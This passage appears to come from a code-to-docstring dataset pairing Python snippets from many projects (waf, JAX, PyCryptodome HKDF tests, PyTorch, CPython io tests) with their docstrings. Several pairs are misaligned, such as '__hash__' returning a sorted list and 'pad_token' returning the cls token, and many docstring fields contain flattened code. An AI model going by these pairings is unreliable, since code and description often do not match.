scan_val, _vars, deep_inputs))\n\n\tcls = None\n\tif use_cache:\n\t\ttry:\n\t\t\tcls = cache[key]\n\t\texcept KeyError:\n\t\t\tpass\n\tif not cls:\n\t\trule = self.rule\n\t\tif chmod is not None:", "nl": "Processes the attribute ``rule``. When present, :py:meth:`waflib.TaskGen.process_source` is disabled::def build(bld):bld(rule='cp ${SRC} ${TGT}', source='wscript', target='bar.txt')Main attributes processed:* rule: command to execute, it can be a tuple of strings for multiple commands* chmod: permissions for the resulting files (integer value such as Utils.O755)* shell: set to False to execute the command directly (default is True to use a shell)* scan: scanner function* vars: list of variables to trigger rebuilds, such as CFLAGS* cls_str: string to display when executing the task* cls_keyword: label to display when executing the task* cache_rule: by default, try to re-use similar classes, set to False to disable* source: list of Node or string objects representing the source files required by this task* target: list of Node or string objects representing the files that this task creates* cwd: current working directory (Node or string)* stdout: standard output, set to None to prevent waf from capturing the text* stderr: standard error, set to None to prevent waf from capturing the text* timeout: timeout for command execution (Python 3)* always: whether to always run the command (False by default)* deep_inputs: whether the task must depend on the input file tasks too (False by default)"} {"code": "def scale_gradients(self, raw_grads: NestedMap) -> Tuple[NestedMap, JTensor]:\n p = self.params\n learner_name = self.params.name\n grad_squared = jax.tree_map(lambda x: jnp.sum(x * x), raw_grads)\n\n if p.grad_norm_individual_vars:\n grad_norms = jax.tree_map(jnp.sqrt, grad_squared)\n var_keys = py_utils.extract_prefixed_keys_from_nested_map(grad_norms)\n", "nl": "Scales the gradient.Args:raw_grads: A nested structure of gradient values.Returns:A nested structure with the rescaled gradient values.A predicate tensor indicating whether the step is valid, i.e., it does nothave anomaly detected (e.g. Nan or Inf, or excessively big gradient norm)and should not be skipped."} {"code": "def test_tuple_exc_2(self):\n self.check(b, a)\n\n", "nl": "b = raise (E1, (E2, E3), E4), Va = raise E1(V)"} {"code": "def process_planted(min_size, max_size, max_count, n_samples, node_select):\n", "nl": "Fixture for loading samples from the Planted datasetsamples = p_planted[:n_samples]d = subgraph.search(samples, g_planted, min_size, max_size, max_count, node_select)return d@pytest.mark.parametrize(\"min_size\", [4, 5])@pytest.mark.parametrize(\"max_size\", [6, 7])@pytest.mark.parametrize(\"max_count\", [2, 4])@pytest.mark.parametrize(\"n_samples\", [200])@pytest.mark.parametrize(\"node_select\", [\"uniform\", planted_weights])@pytest.mark.usefixtures(\"process_planted\")class TestSearch:Tests for the function ``subgraph.search``"} {"code": "def _get_system_includes() -> Iterable[Path]:\n system_compiler = os.environ.get(\"CXX\", \"c++\")\n with tempfile.TemporaryDirectory() as d:\n process = subprocess.Popen(\n [system_compiler, \"-xc++\", \"-v\", \"-c\", \"-\", \"-o\", str(Path(d) / \"a.out\")],\n stdout=subprocess.DEVNULL,\n stderr=subprocess.PIPE,\n stdin=subprocess.PIPE,\n universal_newlines=True,\n )\n _, stderr = _communicate(process, input=\"\", timeout=30)\n if process.returncode:\n raise OSError(\n f\"Failed to invoke {system_compiler}. \"\n f\"Is there a working system compiler?\\n\"\n f\"Error: {stderr.strip()}\"\n )\n\n in_search_list = False\n for line in stderr.split(\"\\n\"):\n if in_search_list and line.startswith(\"End of search list\"):\n break\n elif in_search_list:\n path = Path(line.strip())\n yield path\n if (path / \"machine\").is_dir():\n yield path / \"machine\"\n elif line.startswith(\"\n in_search_list = True\n else:\n raise OSError(\n f\"Failed to parse '\n f\"{stderr.strip()}\"\n )\n\n\n_SYSTEM_INCLUDES = None\n\n", "nl": "Run the system compiler in verbose mode on a dummy input to get thesystem header search path."} {"code": "def test2(self):\n key = bchr(0) * 8 + bchr(255) * 8\n for module in (AES, DES3):\n s2v = _S2V.new(key, module)\n max_comps = module.block_size*8-1\n for i in range(max_comps):\n s2v.update(b(\"XX\"))\n self.assertRaises(TypeError, s2v.update, b(\"YY\"))\n\n\nclass HKDF_Tests(unittest.TestCase):\n\n _test_vector = (\n (\n SHA256,\n \"0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b\",\n \"000102030405060708090a0b0c\",\n \"f0f1f2f3f4f5f6f7f8f9\",\n 42,\n \"3cb25f25faacd57a90434f64d0362f2a\" +\n \"2d2d0a90cf1a5a4c5db02d56ecc4c5bf\" +\n \"34007208d5b887185865\"\n ),\n (\n SHA256,\n \"000102030405060708090a0b0c0d0e0f\" +\n \"101112131415161718191a1b1c1d1e1f\" +\n \"202122232425262728292a2b2c2d2e2f\" +\n \"303132333435363738393a3b3c3d3e3f\" +\n \"404142434445464748494a4b4c4d4e4f\",\n \"606162636465666768696a6b6c6d6e6f\" +\n \"707172737475767778797a7b7c7d7e7f\" +\n \"808182838485868788898a8b8c8d8e8f\" +\n \"909192939495969798999a9b9c9d9e9f\" +\n \"a0a1a2a3a4a5a6a7a8a9aaabacadaeaf\",\n \"b0b1b2b3b4b5b6b7b8b9babbbcbdbebf\" +\n \"c0c1c2c3c4c5c6c7c8c9cacbcccdcecf\" +\n \"d0d1d2d3d4d5d6d7d8d9dadbdcdddedf\" +\n \"e0e1e2e3e4e5e6e7e8e9eaebecedeeef\" +\n \"f0f1f2f3f4f5f6f7f8f9fafbfcfdfeff\",\n 82,\n \"b11e398dc80327a1c8e7f78c596a4934\" +\n \"4f012eda2d4efad8a050cc4c19afa97c\" +\n \"59045a99cac7827271cb41c65e590e09\" +\n \"da3275600c2f09b8367793a9aca3db71\" +\n \"cc30c58179ec3e87c14c01d5c1f3434f\" +\n \"1d87\"\n ),\n (\n SHA256,\n \"0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b\",\n None,\n None,\n 42,\n \"8da4e775a563c18f715f802a063c5a31\" +\n \"b8a11f5c5ee1879ec3454e5f3c738d2d\" +\n \"9d201395faa4b61a96c8\"\n ),\n (\n SHA1,\n \"0b0b0b0b0b0b0b0b0b0b0b\",\n \"000102030405060708090a0b0c\",\n \"f0f1f2f3f4f5f6f7f8f9\",\n 42,\n \"085a01ea1b10f36933068b56efa5ad81\" +\n \"a4f14b822f5b091568a9cdd4f155fda2\" +\n \"c22e422478d305f3f896\"\n ),\n (\n SHA1,\n \"000102030405060708090a0b0c0d0e0f\" +\n \"101112131415161718191a1b1c1d1e1f\" +\n \"202122232425262728292a2b2c2d2e2f\" +\n \"303132333435363738393a3b3c3d3e3f\" +\n \"404142434445464748494a4b4c4d4e4f\",\n \"606162636465666768696a6b6c6d6e6f\" +\n \"707172737475767778797a7b7c7d7e7f\" +\n \"808182838485868788898a8b8c8d8e8f\" +\n \"909192939495969798999a9b9c9d9e9f\" +\n \"a0a1a2a3a4a5a6a7a8a9aaabacadaeaf\",\n \"b0b1b2b3b4b5b6b7b8b9babbbcbdbebf\" +\n \"c0c1c2c3c4c5c6c7c8c9cacbcccdcecf\" +\n \"d0d1d2d3d4d5d6d7d8d9dadbdcdddedf\" +\n \"e0e1e2e3e4e5e6e7e8e9eaebecedeeef\" +\n \"f0f1f2f3f4f5f6f7f8f9fafbfcfdfeff\",\n 82,\n \"0bd770a74d1160f7c9f12cd5912a06eb\" +\n \"ff6adcae899d92191fe4305673ba2ffe\" +\n \"8fa3f1a4e5ad79f3f334b3b202b2173c\" +\n \"486ea37ce3d397ed034c7f9dfeb15c5e\" +\n \"927336d0441f4c4300e2cff0d0900b52\" +\n \"d3b4\"\n ),\n (\n SHA1,\n \"0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b\",\n \"\",\n \"\",\n 42,\n \"0ac1af7002b3d761d1e55298da9d0506\" +\n \"b9ae52057220a306e07b6b87e8df21d0\" +\n \"ea00033de03984d34918\"\n ),\n (\n SHA1,\n \"0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c\",\n None,\n \"\",\n 42,\n \"2c91117204d745f3500d636a62f64f0a\" +\n \"b3bae548aa53d423b0d1f27ebba6f5e5\" +\n \"673a081d70cce7acfc48\"\n )\n )\n", "nl": "Verify that no more than 127(AES) and 63(TDES)components are accepted."} {"code": "def __hash__(self):\n return sorted(list(self.nodes()))", "nl": " The hash function is something we can use to discard two things that are obviously not equal. Here we neglect the hash. return 1def L(self): Return a list of the sorted atom numbers in this graph. "} {"code": "def init_decoding(self, initial_packed_states):\n self.cur_toks = []\n self.prev_toks = []\n self.completed_token_pool = []\n self.num_steps_decoded = 0\n tok = Token(0.0, None, [self.sos], initial_packed_states)\n self.cur_toks.append(tok)\n", "nl": "Init decoding states for every input utteranceArgs:initial_packed_states: initial packed states for callback function"} {"code": "def test_bare_setting(self):\n backend = get_connection()\n self.assertEqual(backend.sample_setting, 'setting_from_settings')\n\n backend = get_connection(sample_setting='setting_from_kwargs')\n self.assertEqual(backend.sample_setting, 'setting_from_kwargs')\n", "nl": "ESP settings are also usually allowed at root of settings filebackend = get_connection()self.assertEqual(backend.sample_setting, 'setting_from_bare_settings')@override_settings(ANYMAIL={'TEST_SAMPLE_SETTING': 'setting_from_settings'})def test_connection_kwargs_overrides_settings(self):Can override settings file in get_connection"} {"code": "def pad_token(self):\n if self._cls_token is None:\n logger.error(\"Using cls_token, but it is not set yet.\")\n return self._cls_token\n\n @property", "nl": " Padding token (string). Log an error if used while not having been set. if self._pad_token is None:logger.error(\"Using pad_token, but it is not set yet.\")return self._pad_token@propertydef cls_token(self): Classification token (string). E.g. to extract a summary of an input sequence leveraging self-attention along the full depth of the model. Log an error if used while not having been set. "} {"code": "def from_value(value):\n", "nl": "Create a new instance GlobMetricResult from a metric.assert isinstance(value, bg_metric.Metric)return GlobMetricResult(value.name, value)class GlobDirectoryResult:Result from a glob search on directories."} {"code": "def evaluate(self, model_spec, model_dir):\n metadata = evaluate.train_and_evaluate(model_spec, self.config, model_dir)\n metadata_file = os.path.join(model_dir, 'metadata.json')\n with tf.gfile.Open(metadata_file, 'w') as f:\n json.dump(metadata, f, cls=_NumpyEncoder)\n\n data_point = {}\n data_point['module_adjacency'] = model_spec.matrix\n data_point['module_operations'] = model_spec.ops\n data_point['trainable_parameters'] = metadata['trainable_params']\n\n final_evaluation = metadata['evaluation_results'][-1]\n data_point['training_time'] = final_evaluation['training_time']\n data_point['train_accuracy'] = final_evaluation['train_accuracy']\n data_point['validation_accuracy'] = final_evaluation['validation_accuracy']\n data_point['test_accuracy'] = final_evaluation['test_accuracy']\n\n return data_point\n", "nl": "Trains and evaluates a model spec from scratch (does not query dataset).This function runs the same procedure that was used to generate eachevaluation in the dataset. Because we are not querying the generateddataset of trained models, there are no limitations on number of vertices,edges, operations, or epochs. Note that the results will not exactly matchthe dataset due to randomness. By default, this uses TPUs for evaluation butCPU/GPU can be used by setting --use_tpu=false (GPU will require installingtensorflow-gpu).Args:model_spec: ModelSpec object.model_dir: directory to store the checkpoints, summaries, and logs.Returns:dict contained the evaluated data for this object, same structure asreturned by query()."} {"code": "def _get_errors(self):\n if self._errors is None:\n self.full_clean()\n return self._errors\n errors = property(_get_errors)\n", "nl": "Returns a list of form.errors for every form in self.forms."} {"code": "def cd(self, directory):\n if self.exist(directory) :\n if directory == '..':\n return self.parent.widget_box\n if directory in self.childrens:\n self.window.log.info(\"cd %s\" %directory)\n return self.childrens[directory]['widget_box']\n return None\n\nclass SensorsItem (urwid.WidgetWrap):\n", "nl": "Change to directory and return the widget to display"} {"code": "def sc(self, request):\n assert_equal(np.interp(0.5, [np.nan, 1], sc([ 0, 10])), sc(np.nan))\n assert_equal(np.interp(0.5, [ 0, np.nan], sc([ 0, 10])), sc(np.nan))\n assert_equal(np.interp(0.5, [ 0, 1], sc([np.nan, 10])), sc(np.nan))\n assert_equal(np.interp(0.5, [ 0, 1], sc([ 0, np.nan])), sc(np.nan))\n", "nl": " scale function used by the below tests return request.paramdef test_non_finite_any_nan(self, sc): test that nans are propagated "} {"code": "def test_flop_count_str(self) -> None:\n\n model = TestNet()\n inputs = (torch.randn((1, 10)),)\n model_str = flop_count_str(\n FlopCountAnalysis(model, inputs).ancestor_mode(\"caller\")\n )\n\n self.assertTrue(\"N/A indicates a possibly missing statistic\" in model_str)\n self.assertTrue(\"\n self.assertTrue(\"ReLU()\" in model_str)\n self.assertTrue(\"\n self.assertTrue(\"[[1, 10]]\")\n\n\n\n model_str = flop_count_str(\n FlopCountAnalysis(model, inputs).ancestor_mode(\"caller\"),\n activations=ActivationCountAnalysis(model, inputs).ancestor_mode(\"caller\"),\n )\n\n self.assertTrue(\"\n self.assertTrue(\"\n\n\n", "nl": "Tests calculating model flops and outputing them in model print format."} {"code": "def add_images(self, images):\n\n Args:\n eval_dict: A dictionary that holds an image, groundtruth, and detections\n for a single example. See eval_util.result_dict_for_single_example() for\n a convenient method for constructing such a dictionary. The dictionary\n contains\n fields.InputDataFields.original_image: [1, H, W, 3] image.\n fields.InputDataFields.groundtruth_boxes - [num_boxes, 4] float32\n tensor with groundtruth boxes in range [0.0, 1.0].\n fields.InputDataFields.groundtruth_classes - [num_boxes] int64\n tensor with 1-indexed groundtruth classes.\n fields.InputDataFields.groundtruth_instance_masks - (optional)\n [num_boxes, H, W] int64 tensor with instance masks.\n fields.DetectionResultFields.detection_boxes - [max_num_boxes, 4]\n float32 tensor with detection boxes in range [0.0, 1.0].\n fields.DetectionResultFields.detection_classes - [max_num_boxes]\n int64 tensor with 1-indexed detection classes.\n fields.DetectionResultFields.detection_scores - [max_num_boxes]\n float32 tensor with detection scores.\n fields.DetectionResultFields.detection_masks - (optional)\n [max_num_boxes, H, W] float32 tensor of binarized masks.\n fields.DetectionResultFields.detection_keypoints - (optional)\n [max_num_boxes, num_keypoints, 2] float32 tensor with keypooints.\n\n Returns:\n A dictionary of image summary names to tuple of (value_op, update_op). The\n `update_op` is the same for all items in the dictionary, and is\n responsible for saving a single side-by-side image with detections and\n groundtruth. Each `value_op` holds the tf.summary.image string for a given\n image.\n \"\"\"", "nl": "Store a list of images, each with shape [1, H, W, C].if len(self._images) >= self._max_examples_to_draw:return# Store images and clip list if necessary.self._images.extend(images)if len(self._images) > self._max_examples_to_draw:self._images[self._max_examples_to_draw:] = []def get_estimator_eval_metric_ops(self, eval_dict):Returns metric ops for use in tf.estimator.EstimatorSpec."} {"code": "def __int__(self):\n return self._number\n\n", "nl": "@return: The integer value of this L{SerialNumber} instance.@rtype: L{int}"} {"code": "def resnet50(pretrained=False, progress=True, **kwargs):\n return _resnet('resnet50', Bottleneck, [3, 4, 6, 3], pretrained, progress,\n **kwargs)\n\n", "nl": "rResNet-50 model from`\"Deep Residual Learning for Image Recognition\" `_Args:pretrained (bool): If True, returns a model pre-trained on ImageNetprogress (bool): If True, displays a progress bar of the download to stderr"} {"code": "def filter2D(img, kernel):\n k = kernel.size(-1)\n b, c, h, w = img.size()\n if k % 2 == 1:\n img = F.pad(img, (k // 2, k // 2, k // 2, k // 2), mode='reflect')\n else:\n raise ValueError('Wrong kernel size')\n\n ph, pw = img.size()[-2:]\n\n if kernel.size(0) == 1:\n img = img.view(b * c, 1, ph, pw)\n kernel = kernel.view(1, 1, k, k)\n return F.conv2d(img, kernel, padding=0).view(b, c, h, w)\n else:\n img = img.view(1, b * c, ph, pw)\n kernel = kernel.view(b, 1, k, k).repeat(1, c, 1, 1).view(b * c, 1, k, k)\n return F.conv2d(img, kernel, groups=b * c).view(b, c, h, w)\n\n", "nl": "PyTorch version of cv2.filter2DArgs:img (Tensor): (b, c, h, w)kernel (Tensor): (b, k, k)"} {"code": "def get_resource_policy(RegistryName=None):\n pass\n", "nl": "Retrieves the resource-based policy attached to a given registry.See also: AWS API DocumentationExceptions:example: response = client.get_resource_policy(RegistryName='string'):type RegistryName: string:param RegistryName: The name of the registry.:rtype: dictReturnsResponse Syntax{'Policy': 'string','RevisionId': 'string'}Response Structure(dict) --Get Resource-Based Policy ResponsePolicy (string) --The resource-based policy.RevisionId (string) --The revision ID.ExceptionsSchemas.Client.exceptions.BadRequestExceptionSchemas.Client.exceptions.UnauthorizedExceptionSchemas.Client.exceptions.InternalServerErrorExceptionSchemas.Client.exceptions.ForbiddenExceptionSchemas.Client.exceptions.NotFoundExceptionSchemas.Client.exceptions.ServiceUnavailableException:return: {'Policy': 'string','RevisionId': 'string'}"} {"code": "def make_optimiser(self):\n schedule = tfko.schedules.InverseTimeDecay(self._lr, self._lr_decay_steps, self._lr_decay_rate)\n return schedule, tfko.Adam(learning_rate=schedule)\n\n @abstractmethod", "nl": "helper function to create the proper optimizer (Adam) with the learning rates and its decayparameters."} {"code": "def get_cookie_httponly(self, app):\n return app.config[\"SESSION_COOKIE_HTTPONLY\"]\n", "nl": "Returns True if the session cookie should be httponly. Thiscurrently just returns the value of the ``SESSION_COOKIE_HTTPONLY``config var."} {"code": "def _search_for_rda_template(conn, template_name):\n url = \"{}/template/metadata/search?free-text={}\".format(VIRTUAL_RDA_URL, template_name)\n req = req_with_retries(conn, url)\n if req.status_code == 200:\n request_json = req.json()\n if request_json is not None:\n for template in request_json:\n if template.get(\"name\") == template_name:\n return template.get(\"templateId\")\n\n raise Exception(\"Error fetching template Id\")\n\n", "nl": "Searches for template by name, eventually RDA will have named templates and this method goes away.:param conn::param template_name::return:"} {"code": "def address_type(address):\n if type(address) == tuple:\n return 'AF_INET'\n if type(address) is str and address.startswith('\\\\\\\\'):\n return 'AF_PIPE'\n if type(address) is str:\n return 'AF_UNIX'\n raise ValueError('address type of %r unrecognized' % address)\n\n\nclass Listener(object):\n \"\"\"\n", "nl": "Return the types of the addressThis can be 'AF_INET', 'AF_UNIX', or 'AF_PIPE'"} {"code": "def test(self, x):\n\n from reportlab.graphics.shapes import UserNode, Shape\n return isinstance(x, UserNode) or isinstance(x, Shape)\n\nclass _isValidChildOrNone(_isValidChild):", "nl": "Is this child allowed in a drawing or group?I.e. does it descend from Shape or UserNode?"} {"code": "def search_nn(self, point, best=None):\n\n current = self\n while True:\n if best is None:\n best = current\n\n if current.dist(point) < best.dist(point):\n best = current\n\n children = iter(sorted(current.children,\n key=lambda c_p: c_p[0].axis_dist(point, current.axis)))\n\n c1, _ = next(children, (None, None))\n if c1:\n current = c1\n continue\n\n c2, _ = next(children, (None, None))\n if c2 and current.axis_dist(point, current.axis) < best.dist(point):\n current = c2\n continue\n\n return best\n\n @require_axis", "nl": "Search the nearest node of the given pointpoint must be a location, not a node. The nearest node to the point isreturned. If a location of an actual node is used, the Node with thislocation will be retuend (not its neighbor) "} {"code": "def create_lifetime_chart(self, classname: str, filename: str = '') -> str:\n try:\n from pylab import figure, title, xlabel, ylabel, plot, savefig\n except ImportError:\n return HtmlStats.nopylab_msg % (classname + \" lifetime\")\n\n cnt = []\n for tobj in self.index[classname]:\n cnt.append([tobj.birth, 1])\n if tobj.death:\n cnt.append([tobj.death, -1])\n cnt.sort()\n for i in range(1, len(cnt)):\n cnt[i][1] += cnt[i - 1][1]\n\n x = [t for [t, c] in cnt]\n y = [c for [t, c] in cnt]\n\n figure()\n xlabel(\"Execution time [s]\")\n ylabel(\"Instance\n title(\"%s instances\" % classname)\n plot(x, y, 'o')\n savefig(filename)\n\n return self.chart_tag % (os.path.basename(filename))\n", "nl": "Create chart that depicts the lifetime of the instance registered with`classname`. The output is written to `filename`."} {"code": "def test_links_propagated(self):\n d1 = Data(x=[1, 2, 3])\n d2 = Data(x=[2, 3, 4])\n dc = DataCollection([d1, d2])\n\n original_id = d2.id['x']\n link = ComponentLink([d1.id['x']], d2.id['x'])\n dc.add_link(link)\n\n\n assert d1.id['x'] is not original_id\n assert d2.id['x'] is original_id\n assert original_id in d2.components\n\n assert_array_equal(d1[d1.id['x']], [1, 2, 3])\n assert_array_equal(d2[d1.id['x']], [2, 3, 4])\n", "nl": "Web of links is grown and applied to data automaticallyfrom ..component_link import ComponentLinkd = Data()dc = DataCollection([d])cid1 = d.add_component(np.array([1, 2, 3]), 'a')cid2 = ComponentID('b')cid3 = ComponentID('c')links1 = ComponentLink([cid1], cid2)dc.add_link(links1)assert_equal(d[cid2], d[cid1])links2 = ComponentLink([cid2], cid3)dc.add_link(links2)assert_equal(d[cid3], d[cid2])dc.remove_link(links2)with pytest.raises(IncompatibleAttribute):d[cid3]assert_equal(d[cid2], d[cid1])dc.remove_link(links1)with pytest.raises(IncompatibleAttribute):d[cid2]def test_delay_link(self):d = Data()comp = Component(np.array([1, 2, 3]))id1 = ComponentID(\"id1\")d.add_component(comp, id1)id2 = ComponentID(\"id2\")self.dc.append(d)link = ComponentLink([id1], id2)with self.dc.delay_link_manager_update():self.dc.set_links([link])with pytest.raises(IncompatibleAttribute):d[id2]assert_equal(d[id2], d[id1])def test_merge_links(self):Trivial links should be merged, discarding the duplicate ID"} {"code": "def setUp(self):\n super(ReplicatorTests, self).setUp()\n self.db_set_up()\n self.test_target_dbname = self.dbname()\n self.target_db = self.client._DATABASE_CLASS(\n self.client,\n self.test_target_dbname\n )\n self.target_db.create()\n self.replicator = Replicator(self.client)\n self.replication_ids = []\n", "nl": "Set up test attributes"} {"code": "def SelectAction(enabled):\n if enabled:\n (aname, args, result, next, properties) = random.choice(enabled)\n return (aname, args)\n else:\n return (None,None)\n", "nl": "Default strategy: choose an enabled action at random"} {"code": "def block_on(self, char):\n For testing seek/tell behavior with a stateful, buffering decoder.\n\n Input is a sequence of words. Words may be fixed-length (length set\n by input) or variable-length (period-terminated). In variable-length\n mode, extra periods are ignored. Possible words are:\n - 'i' followed by a number sets the input length, I (maximum 99).\n When I is set to 0, words are space-terminated.\n - 'o' followed by a number sets the output length, O (maximum 99).\n - Any other word is converted into a word followed by a period on\n the output. The output word consists of the input word truncated\n or padded out with hyphens to make its length equal to O. If O\n is 0, the word is output verbatim without truncating or padding.\n I and O are initially set to 1. When I changes, any buffered input is\n re-scanned according to the new I. EOF also terminates the last word.\n \"\"\"", "nl": "Block when a given char is encountered.self._blocker_char = chardef readable(self):return Truedef seekable(self):return Truedef writable(self):return Truedef write(self, b):b = bytes(b)n = -1if self._blocker_char:try:n = b.index(self._blocker_char)except ValueError:passelse:if n > 0:# write data up to the first blockerself._write_stack.append(b[:n])return nelse:# cancel blocker and indicate would blockself._blocker_char = Nonereturn Noneself._write_stack.append(b)return len(b)class CMockNonBlockWriterIO(MockNonBlockWriterIO, io.RawIOBase):BlockingIOError = io.BlockingIOErrorclass PyMockNonBlockWriterIO(MockNonBlockWriterIO, pyio.RawIOBase):BlockingIOError = pyio.BlockingIOErrorclass IOTest(unittest.TestCase):def setUp(self):support.unlink(support.TESTFN)def tearDown(self):support.unlink(support.TESTFN)def write_ops(self, f):self.assertEqual(f.write(b\"blah.\"), 5)f.truncate(0)self.assertEqual(f.tell(), 5)f.seek(0)self.assertEqual(f.write(b\"blah.\"), 5)self.assertEqual(f.seek(0), 0)self.assertEqual(f.write(b\"Hello.\"), 6)self.assertEqual(f.tell(), 6)self.assertEqual(f.seek(-1, 1), 5)self.assertEqual(f.tell(), 5)self.assertEqual(f.write(bytearray(b\" world\\n\\n\\n\")), 9)self.assertEqual(f.seek(0), 0)self.assertEqual(f.write(b\"h\"), 1)self.assertEqual(f.seek(-1, 2), 13)self.assertEqual(f.tell(), 13)self.assertEqual(f.truncate(12), 12)self.assertEqual(f.tell(), 13)self.assertRaises(TypeError, f.seek, 0.0)def read_ops(self, f, buffered=False):data = f.read(5)self.assertEqual(data, b\"hello\")data = bytearray(data)self.assertEqual(f.readinto(data), 5)self.assertEqual(data, b\" worl\")self.assertEqual(f.readinto(data), 2)self.assertEqual(len(data), 5)self.assertEqual(data[:2], b\"d\\n\")self.assertEqual(f.seek(0), 0)self.assertEqual(f.read(20), b\"hello world\\n\")self.assertEqual(f.read(1), b\"\")self.assertEqual(f.readinto(bytearray(b\"x\")), 0)self.assertEqual(f.seek(-6, 2), 6)self.assertEqual(f.read(5), b\"world\")self.assertEqual(f.read(0), b\"\")self.assertEqual(f.readinto(bytearray()), 0)self.assertEqual(f.seek(-6, 1), 5)self.assertEqual(f.read(5), b\" worl\")self.assertEqual(f.tell(), 10)self.assertRaises(TypeError, f.seek, 0.0)if buffered:f.seek(0)self.assertEqual(f.read(), b\"hello world\\n\")f.seek(6)self.assertEqual(f.read(), b\"world\\n\")self.assertEqual(f.read(), b\"\")LARGE = 2**31def large_file_ops(self, f):assert f.readable()assert f.writable()self.assertEqual(f.seek(self.LARGE), self.LARGE)self.assertEqual(f.tell(), self.LARGE)self.assertEqual(f.write(b\"xxx\"), 3)self.assertEqual(f.tell(), self.LARGE + 3)self.assertEqual(f.seek(-1, 1), self.LARGE + 2)self.assertEqual(f.truncate(), self.LARGE + 2)self.assertEqual(f.tell(), self.LARGE + 2)self.assertEqual(f.seek(0, 2), self.LARGE + 2)self.assertEqual(f.truncate(self.LARGE + 1), self.LARGE + 1)self.assertEqual(f.tell(), self.LARGE + 2)self.assertEqual(f.seek(0, 2), self.LARGE + 1)self.assertEqual(f.seek(-1, 2), self.LARGE)self.assertEqual(f.read(2), b\"x\")def test_invalid_operations(self):# Try writing on a file opened in read mode and vice-versa.for mode in (\"w\", \"wb\"):with self.open(support.TESTFN, mode) as fp:self.assertRaises(IOError, fp.read)self.assertRaises(IOError, fp.readline)with self.open(support.TESTFN, \"rb\") as fp:self.assertRaises(IOError, fp.write, b\"blah\")self.assertRaises(IOError, fp.writelines, [b\"blah\\n\"])with self.open(support.TESTFN, \"r\") as fp:self.assertRaises(IOError, fp.write, \"blah\")self.assertRaises(IOError, fp.writelines, [\"blah\\n\"])def test_raw_file_io(self):with self.open(support.TESTFN, \"wb\", buffering=0) as f:self.assertEqual(f.readable(), False)self.assertEqual(f.writable(), True)self.assertEqual(f.seekable(), True)self.write_ops(f)with self.open(support.TESTFN, \"rb\", buffering=0) as f:self.assertEqual(f.readable(), True)self.assertEqual(f.writable(), False)self.assertEqual(f.seekable(), True)self.read_ops(f)def test_buffered_file_io(self):with self.open(support.TESTFN, \"wb\") as f:self.assertEqual(f.readable(), False)self.assertEqual(f.writable(), True)self.assertEqual(f.seekable(), True)self.write_ops(f)with self.open(support.TESTFN, \"rb\") as f:self.assertEqual(f.readable(), True)self.assertEqual(f.writable(), False)self.assertEqual(f.seekable(), True)self.read_ops(f, True)def test_readline(self):with self.open(support.TESTFN, \"wb\") as f:f.write(b\"abc\\ndef\\nxyzzy\\nfoo\\x00bar\\nanother line\")with self.open(support.TESTFN, \"rb\") as f:self.assertEqual(f.readline(), b\"abc\\n\")self.assertEqual(f.readline(10), b\"def\\n\")self.assertEqual(f.readline(2), b\"xy\")self.assertEqual(f.readline(4), b\"zzy\\n\")self.assertEqual(f.readline(), b\"foo\\x00bar\\n\")self.assertEqual(f.readline(None), b\"another line\")self.assertRaises(TypeError, f.readline, 5.3)with self.open(support.TESTFN, \"r\") as f:self.assertRaises(TypeError, f.readline, 5.3)def test_raw_bytes_io(self):f = self.BytesIO()self.write_ops(f)data = f.getvalue()self.assertEqual(data, b\"hello world\\n\")f = self.BytesIO(data)self.read_ops(f, True)def test_large_file_ops(self):# On Windows and Mac OSX this test comsumes large resources; It takes# a long time to build the >2GB file and takes >2GB of disk space# therefore the resource must be enabled to run this test.if sys.platform[:3] == 'win' or sys.platform == 'darwin':support.requires('largefile','test requires %s bytes and a long time to run' % self.LARGE)with self.open(support.TESTFN, \"w+b\", 0) as f:self.large_file_ops(f)with self.open(support.TESTFN, \"w+b\") as f:self.large_file_ops(f)def test_with_open(self):for bufsize in (0, 1, 100):f = Nonewith self.open(support.TESTFN, \"wb\", bufsize) as f:f.write(b\"xxx\")self.assertEqual(f.closed, True)f = Nonetry:with self.open(support.TESTFN, \"wb\", bufsize) as f:1 // 0except ZeroDivisionError:self.assertEqual(f.closed, True)else:self.fail(\"1 // 0 didn't raise an exception\")# issue 5008def test_append_mode_tell(self):with self.open(support.TESTFN, \"wb\") as f:f.write(b\"xxx\")with self.open(support.TESTFN, \"ab\", buffering=0) as f:self.assertEqual(f.tell(), 3)with self.open(support.TESTFN, \"ab\") as f:self.assertEqual(f.tell(), 3)with self.open(support.TESTFN, \"a\") as f:self.assertTrue(f.tell() > 0)def test_destructor(self):record = []class MyFileIO(self.FileIO):def __del__(self):record.append(1)try:f = super(MyFileIO, self).__del__except AttributeError:passelse:f()def close(self):record.append(2)super(MyFileIO, self).close()def flush(self):record.append(3)super(MyFileIO, self).flush()f = MyFileIO(support.TESTFN, \"wb\")f.write(b\"xxx\")del fsupport.gc_collect()self.assertEqual(record, [1, 2, 3])with self.open(support.TESTFN, \"rb\") as f:self.assertEqual(f.read(), b\"xxx\")def _check_base_destructor(self, base):record = []class MyIO(base):def __init__(self):# This exercises the availability of attributes on object# destruction.# (in the C version, close() is called by the tp_dealloc# function, not by __del__)self.on_del = 1self.on_close = 2self.on_flush = 3def __del__(self):record.append(self.on_del)try:f = super(MyIO, self).__del__except AttributeError:passelse:f()def close(self):record.append(self.on_close)super(MyIO, self).close()def flush(self):record.append(self.on_flush)super(MyIO, self).flush()f = MyIO()del fsupport.gc_collect()self.assertEqual(record, [1, 2, 3])def test_IOBase_destructor(self):self._check_base_destructor(self.IOBase)def test_RawIOBase_destructor(self):self._check_base_destructor(self.RawIOBase)def test_BufferedIOBase_destructor(self):self._check_base_destructor(self.BufferedIOBase)def test_TextIOBase_destructor(self):self._check_base_destructor(self.TextIOBase)def test_close_flushes(self):with self.open(support.TESTFN, \"wb\") as f:f.write(b\"xxx\")with self.open(support.TESTFN, \"rb\") as f:self.assertEqual(f.read(), b\"xxx\")def test_array_writes(self):a = array.array(b'i', range(10))n = len(a.tostring())with self.open(support.TESTFN, \"wb\", 0) as f:self.assertEqual(f.write(a), n)with self.open(support.TESTFN, \"wb\") as f:self.assertEqual(f.write(a), n)def test_closefd(self):self.assertRaises(ValueError, self.open, support.TESTFN, 'w',closefd=False)def test_read_closed(self):with self.open(support.TESTFN, \"w\") as f:f.write(\"egg\\n\")with self.open(support.TESTFN, \"r\") as 